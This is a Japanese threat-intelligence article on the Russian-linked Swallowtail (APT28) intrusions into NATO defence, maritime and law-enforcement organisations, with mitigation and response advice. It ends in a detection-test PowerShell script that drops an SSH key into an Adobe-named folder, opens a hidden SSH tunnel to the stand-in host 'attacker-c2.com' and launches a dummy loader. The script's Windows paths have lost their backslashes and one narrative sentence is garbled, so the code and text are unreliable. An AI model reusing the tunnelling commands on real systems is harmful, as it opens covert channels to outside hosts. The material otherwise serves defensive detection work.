ロシア関連のスワローテイルがNATO防衛セクター企業を標的に

概要

ロシアの諜報グループSwallowtail（APT28としても追跡される）は、NATO加盟国の防衛、海事および法執行機関を標的とした数ヶ月にわたる侵入を行いました。攻撃者は、Hookedgeバックドアおよび未公開のリフレクティブローダーである ld.exe をデプロイしてアクセスを維持し、メモリ内でペイロードを実行しました。このキャンペーンには、持続的なネットワークアクセスのためのSSHトンネリングや、PowerShellを使用したNTLM資格情報の盗取といった高度な技術も含まれていました。

調査

SymantecのThreat Hunterチームは、初期の感染をOutlookを介して配信されたマクロ対応のWordドキュメントに追跡しました。解析者は、webhook.siteを使用した配信およびコールバック機構と、タスクを取得するための隠れたMicrosoft Edgeインスタンスを特定しました。攻撃者は、手動によるキーボード活動を示し、偵察、内部ネットワークのプロービング、横方向の移動、および侵入した環境全体での資格情報の収集を行いました。

緩和策

組織は、悪意のある既知のwebhook.siteエンドポイントをブロックし、1ピクセルのウィンドウや画面外ブラウザウィンドウを含む異常なMicrosoft Edgeの動作を監視することを優先する必要があります。許可されていないSSH接続を防ぐために厳格な出力フィルタリングが実施されるべきです。セキュリティチームは、疑わしいPowerShellのリスナー活動を監視する必要があります。エンドポイント保護は、リフレクティブローディングと権限のない資格情報アクセスの試みを検出する必要があります。

対応

Hookedge関連の活動が検出された場合、レスポンダーは被害を受けたシステムを即座に隔離して、アクティブなSSHトンネルとC2通信を妨害するべきです。未公開ファイル（例： ld.exe ）について詳細なフォレンジックスウィープを実施し、持続メカニズムのためにスケジュールされたタスクを確認してください。NTLM資格情報の盗取やSSHキーの漏洩があったアカウントについては、包括的な資格情報のリセットを行ってください。

シミュレーション実行

• 攻撃ナラティブとコマンド: 敵は、コマンド＆コントロール（C2）インフラストラクチャへ持続的な暗号化トンネルを確立しようとしています。彼らは盗まれたSSHプライベートキーを C:ProgramDataAdobeid_rsa にドロップして正当なソフトウェアメタデータと溶け込ませます。その後 ssh.exeを使用してトンネルを実行しようとします。トンネルの確立後、カスタムのリフレクティブローダー名 ld.exeを使用して悪意のあるペイロードをメモリに読み込もうとします。ssh.exe）を使用し、メモリ内実行（ld.exe).

• 回帰テストスクリプト:

  # 1. Swallowtail SSHトンネリングのシミュレーション
  $dir = "C:ProgramDataAdobe"
  if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force }
  $keyPath = "$dirid_rsa"
  "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii
  
  # 正確なコマンドライン一致を通してSSH検出をトリガー
  Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden
  
  # 2. リフレクティブローダー実行のシミュレーション
  # テレメトリ生成のためにダミーのld.exeを作成
  $dummyLoader = "C:WindowsTempld.exe"
  New-Item -ItemType File -Path $dummyLoader -Force
  # 注意: 実際のシナリオではバイナリになります; ここではプロセス作成イベントをシミュレート
  Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden

• クリーンアップコマンド:

  # シミュレーションされた悪意のあるファイルとディレクトリを削除
  Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue